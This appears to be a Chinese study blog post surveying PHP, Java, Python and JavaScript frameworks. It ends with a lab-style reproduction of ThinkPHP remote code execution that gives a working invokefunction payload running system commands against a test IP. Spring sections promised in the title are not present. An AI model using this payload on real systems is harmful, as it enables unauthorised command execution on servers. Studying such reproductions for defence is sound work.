PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第1张图片

框架

假如我们要买一台电脑。框架为我们提供了已经装好的电脑,我们只要买回来就能用,

但你必须把整个电脑买回来。这样用户用起来自然轻松许多,但是我们这电脑没有软件其他,会导致很多人用一样的电脑,太死板了就个了一个浏览器什么都不能安装,这适合呢

你想自定义某个部件将需要修改这个框架,就需要用到库了,而库就如自己组装的电脑。库为我们提供了很

多部件,我们需要自己组装,如果某个部件库未提供,我们也可以自己做。库的使用非常

灵活,但没有框架方便。

所以说在库和框架是 不能分开滴好兄弟

框架就是别人写好的 成品,你如果要做什么软件还在网站源码,如果这个框架中有这个功能或者有这个模板的话,你就可以直接调用直接用这个框架里面的功能或者模板来实现你想要达到的效果

常见的框架

php

ThinkphpLaravelYlllaravelCode IgniterZend FrameworkCakePHPSymfony

一、ThinkPHP

ThinkPHP(FCS)是一个轻量级的中型框架,是从Java的Struts结构移植过来的中文PHP开发框架。它使用面向对象的开发结构和MVC模式,并且模拟实现了Struts的标签库,各方面都比较人性化,熟悉J2EE的开发人员相对比较容易上手,适合php框架初学者。
ThinkPHP的宗旨是简化开发、提高效率、易于扩展,其在对数据库的支持方面已经包括MySQL、MSSQL、Sqlite、PgSQL、
Oracle,以及PDO的支持。ThinkPHP有着丰富的文档和示例,框架的兼容性较强,但是其功能有限,因此更适合用于中小项目的开发。

优点

1、借助成熟的Java思想

2、易于上手,有丰富的中文文档;学习成本低,社区活跃度高

3、框架的兼容性较强,PHP4和PHP5完全兼容、完全支持UTF8等。

4、适合用于中小项目的开发

5、从thinkphp3.2.2引入composer包管理工具

缺点

1.对Ajax的支持不是很好;

2.目录结构混乱,相比其他框架目录结构要差一点;

3.上手容易,但是深入学习较难。

二、Yii

Yii 是一个基于组件的高性能php框架,用于开发大型Web应用。Yii采用严格的OOP编写,并有着完善的库引用以及全面的教程。从
MVC,DAO/ActiveRecord,widgets,caching,等级式RBAC,Web服务,到主题化,I18N和L10N,Yii提供了
今日Web 2.0应用开发所需要的几乎一切功能。事实上,Yii是最有效率的PHP框架之一。

优点

1.纯OOP

2.用于大规模Web应用

3.模型使用方便

4.开发速度快,运行速度也快。性能优异且功能丰富

5.使用命令行工具。

6.支持composer包管理工具

缺点

1.对Model层的指导和考虑较少

2.文档实例较少

3.英文太多

4.要求PHP技术精通,OOP编程要熟练!

5.View并不是理想view,理想中的view可能只是html代码,不会涉及PHP代码。

三、laravel

优点

1.laravel的设计思想是很先进的,非常适合应用各种开发模式TDD, DDD 和BDD

2.支持composer包管理工具

3.集合了php 比较新的特性,以及各种各样的设计模式,Ioc 容器,依赖注入等。

缺点

1.基于组件式的框架,所以比较臃肿

四、Code Igniter

优点

1.Code Igniter推崇“简单就是美”这一原则。没有花哨的设计模式、没有华丽的对象结构,一切都是那么简单。几行代码就能开始运行,再加几 行代码就可以进行输出。可谓是“大道至简”的典范。

2.配置简单,全部的配置使用PHP脚本来配置,执行效率高;

3.具有基本的路由功能,能够进行一定程度的路由;

4.具有初步的Layout功能,能够制作一定程度的界面外观;

5.数据库层封装的不错,具有基本的MVC功能.

6.快速简洁,代码不多,执行性能高,

7.框架简单,容易上手,学习成本低,文档详细;

8.自带了很多简单好用的library,框架适合小型应用.

缺点

1.本身的实现不太理想。

2.内部结构过于混乱,虽然简单易用,但缺乏扩展能力。

3.把Model层简单的理解为数据库操作.

4.框架略显简单,只能够满足小型应用,略微不太能够满足中型应用需要.

评价

总体来说,拿CodeIgniter来完成简单快速的应用还是值得,同时能够构造一定程度的layout,便于模板的复用,数据操作层来说封装的不 错,并且CodeIgniter没有使用很多太复杂的设计模式,执行性能和代码可读性上都不错。至于附加的library 也还不错,简洁高效。

五、Zend Framework

优点

1.大量应用了PHP5中面向对象的新特征:接口、异常、抽象类、SPL等等。这些东西的应用让Zend Framework具有高度的模块化和灵活性

2.严格遵循“针对接口编程”和“单一对象职责”等原则

3.官方出品,自带了非常多的library,框架本身使用了很多设计模式来编写,架构上很优雅,执行效率中等

4.MVC设计,比较简洁

5.具有路由功能,配置文件比较强大(能够处理XML和php INI)

6.能够直观的支持除数据库操作之外的Model层(比 CodeIgniter 和 CakePHP 强),并且能够很轻易的使用Loader功能加载其他新增加的Class

7.Cache功能很强大,从前端Cache到后端Cache都支持,后端Cache支持Memcache、APC、SQLite、文件等等方式

8.数据库操作功能很强大,支持各种驱动(适配器)

9.文档很全,在国内社区很成熟

缺点

1.MVC功能完成比较弱,View层简单实现(跟没实现一样),无法很强大的控制前端页面.

2.没有自动化脚本,创建一个应用,包括入口文件,全部必须自己手工构建,入门成本高

3.对于简单和小型的项目来说,反而因为在框架中应用了大量面向对象设计,对开发者提出了更高的要求,间接增加了项目的开发成本

评价

作为官方出品的框架,Zend Framework的野心是可以预见的,想把其他框架挤走,同时封装很多强大的类库,能够提供一站式的框架服务,并且他们的开发团队很强大,完全足够有能力开发很强大的产品出来,所以基本可以确定的是Zend Framework前途无量,如果花费更多的时间去完善框架。同样的,Zend Framework架构本身也是比较优雅的,说明Zend官方是有很多高手的,设计理念上比较先进,虽然有一些功能实现的不够完善,比如View层,自动化脚本等等,这些都有赖于未来的升级

六、CakePHP

优点

1.最类似于RoR的框架,包括设计方式,数据库操作的Active Record方式

2.设计层面很优雅,没有自带多余的 library,所有的功能都是纯粹的框架,执行效率还不错

3.数据库层的 hasOne, hasMany功能很强大,对于复杂业务处理比较合适

4.路由功能,配置功能难度适中

5.自动构建脚手架(scaffold)很强大,适合中型应用

6.基本实现过了MVC每一层

7.具有自动操作命令行脚本功能

8.文档比较全,学习成本中等

缺点

1.CakePHP非常严重的问题是把Model理解为数据库层操作,严重影响了除了数据库之外的操作能力

2.cache功能略显薄弱

3.配置功能稍嫌弱

4.不适合大型应用,只适合中型应用,小型应用来说略微的学习成本高了点.

评价

总体来说CakePHP框架代表了PHP框架很重要的一个时代和代表,并且目前发挥着很重要的作用,不少自己写的框架都模仿了CakePHP的方式,是个里程碑式的产品;CakePHP透露着RoR的敏捷开发方式和把数据库操作认为是唯一Model的设计思想,作为开发快速应用和原型是绝好的工具;同样,用来做Web2.0网站的开发框架,也是值得选择的

七、Symfony

优点

1.完整实现了MVC三层

2.封装了所有东西,包括 P O S T , POST, POSTGET 数据,异常处理,调试功能,数据检测

3.包含强大的缓存功能

4.自动加载Class,能够很随意的定义各种自己的class

5.强大的语言支持

6.具有很强大的view层操作,能够零碎的包含单个多个文件

7.非常强大的配置功能,使用xml配置能够控制所有框架和程序运行行为

8.包含强大的多层级项目和应用管理:Project --> Application --> Module --> Action,能够满足一个项目下多个应用的需要,并且每层可以定义自己的类库,配置文件,layout

9.非常强大的命令行操作功能,包括建立项目、建立应用、建立模块、刷新缓存等等

10.Symfony绝对是开发大型复杂项目的首选,因为使用了Symfony,将大大节约开发成本,并且多人协作的时候,不会出现问题,在Project级别定义好基础Class以后,任何模块都能够重用,大大复用代码.

缺点

1.最大的问题也在于使用了太多风格迥异的开源项目来组合成框架

2.由于Mojavi和Propel本身都相当复杂,因此Symfony的结构非常复杂,难以理解和学习

\3. 缓存功能无法控制,每次开发调试总是缓存,需要执行 symfony cc,symfony rc来清除和重建缓存

4.效率不是很高,特别是解析模板和读取配置文件的过程,花费时间不少

5.学习成本很高,并且国内没有成熟的社区和中文文档

评价

Symfony绝对是企业级的框架,唯一能够貌似能够跟Java领域哪些强悍框架抗衡的东西;强悍的东西,自然学习复杂,但是相应的对项目开发也比较有帮助,自然是推荐复杂的项目使用Symfony来处理,觉得是值得,后期的维护成本比较低,复用性很强。相应的如果使用Symfony的应该都是比较复杂的互联网项目,那么相应的就要考虑关于数据库分布的问题,那么就需要抛弃Symfony自带的数据库操作层,需要自己定义,当然了,Symfony支持随意的构造model层

总评

以上数款框架,各有特色,而且都是开源项目,不过框架针对的项目不一样,一般来说:

1.小型项目:CodeIngiter

2.中型项目:CakePHP、Zend Framework、Laravel、Thinkphp

3.大型重量级项目:Yii、Symfony、Laravel

以上划分也不绝对,在项目选型的时候,要充分考虑框架的可以定制性、扩展性,因为每个项目都无法确定你是否会随着需求的变化进行改变。

JAVA

SpringHibernateStrutsPlayGoogle Web 工具包GrailsBladeJavaServer FacesVaadin

1:Spring

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第2张图片

Spring 排名第一,因为它具有出色的开发复杂 Web 应用程序的能力,并以高性能著称。它使 Java 开发人员能够轻松地创建企业级应用程序。Web 应用程序开发人员可以保证 Spring 框架的能力,这就是为什么 spring 成为 Java 开发人员最爱的原因。这是可以证明这一说法的统计数据:(开发人员对 Java 框架的评价):

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第3张图片

在开发人员的选择中,Spring MNV 和 Spring Boot 领先于其他 Java 技术。对他们而言,Spring 的一大优势是他们可以释放其他模块并专注于一个模块,因为 spring 利用了控制反转 (IoC)。该框架的其他优势是全面的配置模型、支持 NoSQL 等传统数据库和现代数据库,并通过支持面向切面编程来支持内聚开发。它提供了一些模块,如 Spring MVC、Spring Core、Spring Boost、SpringTransaction 等。

2:Hibernate

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第4张图片

作为一个对象关系映射(ORM)数据库,Hibernate 改变了我们以前查看数据库的方式。尽管它不是一个完整的全栈框架,但它为转换多个数据库的数据提供了极大的便利。

它支持多个数据库的能力使得它很容易拓展,无论应用程序大小或用户数量如何。它快速、强大、易于扩展、修改和配置。

3:Struts

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第5张图片

该框架帮助软件开发人员创建易于维护的企业级应用程序。这个框架的 USP 是它的插件。它们是 JAR 包,这意味着它们是可移植的。

Hibernate 插件 和 spring 插件分别用于对象关系映射和依赖注入。使用此 Java 框架开发应用程序可以减少处理时间,因为它提供了组织良好的 Java、JSP 和 Action 类。

4:Play

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第6张图片

一流的公司,如 LinkedIn,三星,The Guardian,Verizon 等选择了它,说明了 Play 的可信度。该框架提供了速度,可伸缩性和性能。

它的用户界面非常简单,使移动开发人员可以快速理解它。它主要用于开发需要一致的内容创建的应用程序。

5:Google Web 工具包

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第7张图片

该框架用于客户端开发,比如Javascript。这是一个开放源 Java 框架,这意味着免费。Google 广泛使用此框架,并使用它编写了 AdSense,Google Wallet 和 AdWords 之类的 Google 产品。借助 GWT,可以轻松开发和调试 Ajax 应用程序。Java 开发人员更喜欢这种框架来编写复杂的应用程序。书签、跨浏览器的可移植性、历史记录和管理是它的一些特性。

6:Grails

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第8张图片

这个开源框架在 Enterprise Java Bean 中非常流行。它可用于为内容管理系统、Restful Web 服务和电子商务站点创建健壮的、可扩展的应用程序。它可以与其他 Java 技术(例如 Java Spring,Hibernate,quartz,EE 容器和 SiteMesh)进行协调。它的优势包括简单的 GORM、灵活的配置文件、具有多个插件的高级插件系统、简单的对象映射库以及一个支持和响应的社区。

7:Blade

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第9张图片

任何 app 开发者都可以在一天内快速理解此框架。Java Blade 于 2015 年推出,以简单和轻巧著称。该框架最突出的亮点是具有快速创建 Web 应用程序的能力。它是一个全栈的 Web 开发框架,提供了简单干净的编码结构。Blade 基于 Java 8,它提供了 REST 风格的路由接口,它支持 webjar 资源和插件扩展。

8:JavaServer Faces

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第10张图片

这个 java 框架由 Oracle 开发的。它可用于创建企业应用程序、本机应用程序和 Web 应用程序。它的一大优势是提供了表示层与应用程序代码的轻松连接。它提供了一个 API 集,用于表示和管理 UI 组件,并具有清晰的体系结构,可以区分应用程序逻辑和表示形式。JSF 不是使用 Java,而是使用 XML 进行视图处理。

9:Vaadin

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第11张图片

用于精简 Java 开发的优秀平台。您可以使用它来获得定制的 web 开发服务。此框架的一大优点是服务器和浏览器之间的通信顺畅。

Vaadin 提供了从 Java 虚拟机直接访问 DOM 的功能。在最新发布的版本中,它被分成了两部分:Vaadin Flow,一个轻量级框架,允许服务器端通信,和路由。

Python

主流的几大框架

DjangoBottleFlaskTornadoWeb2pywebpy

一、Python的几大主流Web开发框架

Django

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第12张图片

1.Django: Python Web应用开发框架
Django 应该是最出名的Python框架,GAE甚至Erlang都有框架受它影响。Django是走大而全的方向,它最出名的是其全自动化的管理后台:只需要使用起ORM,做简单的对象定义,它就能自动生成数据库结构、以及全功能的管理后台。

网址:The Web framework for perfectionists with deadlines

Bottle

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第13张图片

2.Bottle: 微型Python Web框架
Bottle是一个简单高效的遵循WSGI的微型python Web框架。说微型,是因为它只有一个文件,除Python标准库外,它不依赖于任何第三方模块。

网址:Bottle: Python Web Framework

Flask

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第14张图片

3.Flask:也是一个Web应用框架

不同于Django它是轻量级Web应用框架。基于Werkzeug WSGI工具箱和Jinja2 模板引擎。Flask也被称为“microframework”,因为它使用简单的核心,用extension增加其他功能。Flask没有默认使用的数据库、窗体验证工具。 但是Flask是可以扩增的,你可以使用可以用Flask-extension增加前边没有的一些功能。

网址:Flask (A Python Microframework)

Tornado

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第15张图片

4.Tornado:异步非阻塞IO的Python Web框架
Tornado的全称是Torado Web Server,从名字上看就可知道它可以用作Web服务器,但同时它也是一个Python Web的开发框架。最初是在FriendFeed公司的网站上使用,FaceBook收购了之后便开源了出来。Tornado 和现在的主流 Web 服务器框架和大多数Python框架有着明显的区别:它是非阻塞式服务器,而且速度相当快。也是比较常被使用的Python开源框架之一。

网址:Tornado Web Server - Tornado 4.5.1 documentation

Web2py

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第16张图片

Web2py:全栈式Web框架
Web2py是一个为Python语言提供的全功能Web应用框架,旨在敏捷快速的开发Web应用,具有快速、安全以及可移植的数据库驱动的应用,兼容Google App Engine。

网址:http://www.web2py.com/

webpy

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第17张图片

webpy: 轻量级的Python Web框架(特别提示本框架创作人离开,没有更新,慎用!
webpy的设计理念力求精简(Keep it simple and powerful),源码很简短,只提供一个框架所必须的东西,不依赖大量的第三方模块,它没有URL路由、没有模板也没有数据库的访问。

网址:Welcome to web.py! (web.py)

二、Python的爬虫框架

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第18张图片

Scrapy:Python的爬虫框架
Scrapy是一个使用Python编写的,轻量级的,简单轻巧,并且使用起来非常的方便。

网址:A Fast and Powerful Scraping and Web Crawling Framework

三、图形界面开发框架

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第19张图片

PyQt

PyQt能够实现高人气Qt库,因此如果大家熟知如何利用其它语言进行Qt开发,那么上手PyQt也不会出现什么障碍。其能够让Python应用具备跨平台外观风格与使用感受,同时继承Qt社区所带来的庞大知识支持与工具选项。

PyQt同时提供商用与GPL许可(这一点与Qt项目本身有所不同),感兴趣的朋友也可点击此处了解与PyQt许可相关的常见问题(英文原文)。

网址:Riverbank | Software | PyQt | What is PyQt?

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第20张图片

Tkinter

如果要为Python选出一款能够称得上“标准”的GUI工具包,那么答案应该是Tkinter。Tkinter是一款以Tcl/Tk为基础的打包工具,而后者则属于诞生自上世纪九十年代初的高人气图形界面与语言组合。Tkinter的最大优势在于拥有丰富的资源,其中包括文本与代码示例以及庞大的用户社区。通过示例,我们能够轻松上手这套图形界面实现方案。

Tkinter遵循Python许可,同时基于Tcl/Tk的BSD许可。

网址:24.1. Tkinter - Python interface to Tcl/Tk - Python 2.7.13 documentation

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第21张图片

四WxPython

WxPython 将针对C++的wxWidgets跨平台GUI库带给了Python。WxPython是一套较为现代的方案,其外观的原生程度高于Tkinter,这主要归功于其更倾向于针对不同系统平台建立控件成果。其易于上手,同时拥有快速发展的开发者社区。不过大家需要自行将wxPython与应用相绑定,因为其无法通过Python自动进行安装。

WxPython采用其父项目wxWindows的库许可,这一许可获得了OSI批准。

网址:Welcome to wxPython!

五、Python系统运维常用库

1、psutil是一个跨平台库(http://code.google.com/p/psutil/)

能够实现获取系统运行的进程和系统利用率(内存,CPU,磁盘,网络等),主要用于系统监控,分析和系统资源及进程的管理。

2、IPy(http://github.com/haypo/python-ipy),辅助IP规划。

3、dnspython(http://dnspython.org)Python实现的一个DNS工具包。

4、difflib:difflib作为Python的标准模块,无需安装,作用是对比文本之间的差异。

5、filecmp:系统自带,可以实现文件,目录,遍历子目录的差异,对比功能。

6、smtplib:发送电子邮件模块

7、pycurl(http://pycurl.sourceforge.net)是一个用C语言写的libcurl Python实现,功能强大,支持的协议有:FTP,HTTP,HTTPS,TELNET等,可以理解为Linux下curl命令功能的Python封装。

8、XlsxWriter:操作Excel工作表的文字,数字,公式,图表等。

9、rrdtool:用于跟踪对象的变化,生成这些变化的走走势图

10、scapy(http://www.wecdev.org/projects/scapy/)是一个强大的交互式数据包处理程序,它能够对数据包进行伪造或解包,包括发送数据包,包嗅探,应答和反馈等功能。

11、Clam Antivirus免费开放源代码防毒软件,pyClamad,可以让Python模块直接使用ClamAV病毒扫描守护进程calmd。

12、pexpect:可以理解成Linux下expect的Python封装,通过pexpect我们可以实现对ssh,ftp,passwd,telnet等命令行进行自动交互,而无需人工干涉来达到自动化的目的。

13、paramiko是基于Python实现的SSH2远程安装连接,支持认证及密钥方式。可以实现远程命令执行,文件传输,中间SSH代理等功能。相对于Pexpect,封装的层次更高,更贴近SSH协议的功能,官网地址:http://paramiko.org(依赖:Crypto,Ecdsa,Python开发包python-devel)

14、fabric是基于Python实现的SSH命令行工具,简化了SSH的应用程序部署及系统管理任务,它提供了系统基础的操作组件,可以实现本地或远程shell命令,包括命令执行,文件上传,下载及完整执行日志输出等功能。Fabric在paramiko的基础上做了更高一层的封装,操作起来更加简单。官网地址:http://www.fabfile.org(依赖setuptools,Crypto,paramiko包支持)

15、CGIHTTPRequestHandler实现对CGI的支持。

16、ansible(http://www.ansibleworks.com/)一种集成IT系统的配置管理,应用部署,执行特定任务的开源平台。基于Python实现,由Paramiko和PyYAML两个关键模块构建。Ansibl与Saltstack最大的区别是Ansible无需在被控主机上部署任何客户端,默认直接通过SSH通道进行远程命令执行或下发功能。

17、YAML:是一种用来表达数据序列的编程语言。

18、playbook:一个非常简单的配置管理和多主机部署系统。

19、saltstack(http://saltstack.com)是一个服务器基础架构集中化管理平台,一般可以理解为简化版的puppet和加强版的func。Saltstack基于Python语言实现,结合轻量级消息队列ZeroMQ,与Python每三方模块(Pyzmq,PyCrypto,Pyjinja2,python-msgpack和PyYAML等)构建。

20、func,为解决集群管理,监控问题需设计开发的系统管理基础框架。

六、Python科学数字计算的框架

Python中的数据科学计算库有Numpy、Scipy、pandas、matplotlib

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第22张图片

Numpy是一个基础性的Python库,为我们提供了常用的数值数组和函数。numpy(Numerical Python extensions)是一个第三方的Python包,用于科学计算。这个库的前身是1995年就开始开发的一个用于数组运算的库。经过了长时间的发展,基本上成了绝大部分Python科学计算的基础包,当然也包括所有提供Python接口的深度学习框架。

网址:NumPy - NumPy

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第23张图片

Scipy是Python的科学计算库,对Numpy的功能进行了扩充,同时也有部分功能是重合的。Numpy和Scipy曾经共享过基础代码。

网址:SciPy.org - SciPy.org

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第24张图片

pandas是一个流行的开源Python项目,它的名称取panel data(面板数据,一个计量经济学的术语)和Python data analysis(Python数据分析)的意思。matplotlib是一个基于Numpy的绘图库。

网址:Python Data Analysis Library

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第25张图片

Matplotlib是Python中最常用的可视化工具之一,可以非常方便地创建海量类型地2D图表和一些基本的3D图表。Matplotlib最早是为了可视化癫痫病人的脑皮层电图相关的信号而研发,因为在函数的设计上参考了MATLAB,所以叫做Matplotlib。Matplotlib首次发表于2007年,在开源和社区的推动下,现在在基于Python的各个科学计算领域都得到了广泛应用。Matplotlib的原作者John D. Hunter博士是一名神经生物学家,2012年不幸因癌症去世,感谢他创建了这样一个伟大的库。

网址:Python plotting - Matplotlib 2.0.2 documentation

七、Python的3D游戏开发框架

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第26张图片

Pygame是跨平台Python模块,专为电子游戏设计。包含图像、声音。pygame建立在SDL基础上,允许实时电子游戏研发而无需被低级语言(如机器语言和汇编语言)束缚。基于这样一个设想,所有需要的游戏功能和理念都(主要是图像方面)都完全简化为游戏逻辑本身,所有的资源结构都可以由高级语言提供,如Python。

网址:http://www.pygame.org/news

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第27张图片

ocos2d-python上面很多都用pyglet这个库的,里面主要的精灵什么的也是针对pyglet的封装,另外还封装了些音频库什么的。

网址:cocos2d

JavaScript

React.jsVue.jsAngularEmberjsPreact.js

前端 JavaScript 框架

JavaScript 在前端开发中已经广泛使用了将近二十年。像 React、Vue 和 Angular 这样的知名架构已经吸引了大量的追随者,而最近,一些新的竞争者成功地挑战了这三大框架。2021 年最优秀的五大前端框架如下:

1. React.js

在我们编制的 2021 年最佳 JavaScript 框架的榜单中,前端类排名第一是 React.js。React.js 是一个开源的前端 JavaScript 库(并非一个成熟的框架),由 Jordan Walke 领导的 Facebook 开发团队于 2011 年创建,并于 2013 年 6 月开源。它的原型名为“FaxJS”,在 Facebook 消息来源(News Feed)上进行了首次测试。可以说,React 是网络开发行业中最大的颠覆者之一,也是塑造我们今天所看到的网络应用的一个重大突破。

React 引入了一种组件驱动、函数式和声明式的编程风格,为主要是单页 Web 应用创建交互式用户界面。通过“虚拟 DOM”,React 提供了非常快的渲染速度,只需渲染发生变化的部分,而不用渲染整个页面。React 的另一个基本特点是使用更简单的 JSX 语法,而不是 JavaScript。

尽管学习 React 比这个榜单中其他框架要复杂一些,但是 React 拥有一个庞大的开发者社区、丰富的学习资源,并被世界各地广泛采用。

不管是 Stack Overflow 开发者调查,还是 State of JS 调查,在前端 JavaScript 框架榜单中,React 始终名列前茅,一直是最受欢迎的前端 JavaScript 框架。Airbnb、Facebook、Instagram、Netflix、Twitter、WhatsApp 等全球最大的公司和品牌都使用 React 构建。如果认为 React.js 可以说是最好的 JavaScript 框架,那这一说法不会有错。

2. Vue.js

Vue.js 是一种轻量级、开源的 JavaScript 框架,用最小的努力来构建创造性的用户界面和高性能单页 Web 应用。

Evan Yu 在 2014 年首次发布了 Vue,他是一名谷歌开发者,从 Angular 中获得了灵感,以 Vue.js 的形式提供了一个简单、轻量级、高效的替代方案。Vue 从 React 和 Angular 获得了许多特性,但是这些特性已经得到了大幅改进,从而提供了一个更好、更易用、更安全的框架。Vue 就是这种方法的最佳例子,它提供了 Angular 所见的双向数据绑定,以及 React 所见的“虚拟 DOM”。

同样,Vue 也非常灵活,使其能够像 Angular 那样作为一个完整的端到端框架,也可以像 React 那样作为一个有状态的视图层。所以,Vue 的主要优势在于它的渐进式性质,它更简单,更容易上手,并且不会做太多限制来满足开发者的需求。Vue 在过去两年中迅速流行起来,取代了 Angular 和 React 复杂的统治地位,成为最好的 JavaScript 框架。有些全球最大的公司,比如 Adobe、苹果、宝马、路易威登和任天堂都采用了 Vue。

3. Angular

Angular.js 在 2021 年最佳 JavaScript 框架榜单的前端类中名列第三,它是谷歌开源、基于脚本的框架,用于创建单页 Web 应用的客户端。Angular 是由谷歌工程师 Misko Hevery 和 Adam Abrons 在 2010 年创建的,名为 AngularJS(或 Angular 1)。AngularJS 曾广为人知,也曾最受欢迎,但 React 的出现暴露了它严重的缺陷,后来被人们遗忘了。因此,在 2016 年,AngularJS 完全从零开始重写,并更名为 Angular 2(或简称 Angular)。

AngularJS(Angular 1)的灵感来自 React。它们有了很大的变化,最重要的变化就是从 MVW(Model-View-Whatever)架构转变为类似 React 的面向组件的架构。如今,Angular 已经成为构建企业应用最安全的 JavaScript 框架典范;超过 100 万的网站都在使用 Angular,包括谷歌、福布斯、IBM 和微软。

4. Emberjs

在 2021 年最佳 JavaScript 框架榜单中,前端类的第四名是 Ember.js。它是一个开源的 JavaScript 框架。Ember 不像我们提到的其他框架,它使用的是 MVVM(Model-View-ViewModel)架构。

Ember 最初是一个 SproutCore 2.0 框架,被 Yehuda Katz 重新命名为 Ember.js,他是一名资深开发者,被认为是 jQuery 的主要创造者之一。Ember 最流行、最基本的功能就是 Ember 命令行界面,其自身功能非常强大,是一个强大的生产力工具。

与 React、Vue 和 Svelte 相比,Ember 是较早的 JavaScript 框架之一,但它在微软、领英、Netflix 和 Twitch 等大公司仍然有巨大的用户基础。它的客户群里有很多用户。像 Backbone 和 Polymer 这样的老朋友已经消失了,但 Amber 仍能在一个充满激情的社区中,继续坚守下去。

5. Preact.js

在我们的 2021 年最佳 JavaScript 框架榜单中,Preact.js 在前端类排名第五。它是 React 的轻量级、快速且功能强大的替代方案(它并非一个完整的框架)。谷歌高级开发项目工程师 Jason Miller 创建了 Preact,并被一些开发者用作 React 的子集,同时还删除了部分特性。

Preact.js 的基本原则与 React 相同,是一种使用虚拟 DOM 的基于组件的方法,同时与 React 完全兼容。

你还可以使用 React 包,而不会影响速度、性能和精简。如果你不需要 React 的全部潜力,大多数开发者将在开发过程中使用 Preact,甚至在生产中切换到 Preact。使用 Preact 的大公司有很多,包括腾讯、Uber 和 Lyft。

源码采用框架开发

好处与不会的地方

好处就是轻松方便

不好的地方就是过于依赖框架了,一旦跨站自身的安全机制出现了问题那么网站也会跟着出现对应的安全问题,这就是对网站的一个安全造成了一定的危害和影响

漏洞复现

Thinkphp

(CVE-2018-1002015)

首先我们先检测改网站的Thinkphp是否存在漏洞

在这里插入图片描述

这里提示is vulmerable 就是有漏洞的意思

如果是没有漏洞是not vulmerble的

那么我们发现漏洞了就要针对性的去搞

我们用到工具箱

你可以用上面的payload

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20www_admintony_com

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第28张图片

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第29张图片

选择到了5.1*-3模块能执行命令

那么我们就根据此模块继续深入下去拿到flag

http://123.58.236.76:47642/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20/tmp

还是命令执行好用

(CNVD-2018-24942)

上工具

在这里插入图片描述

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20www_admintony_com

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现_第30张图片

差不多的其实

不懂就百度

thinkphp-2x-rce

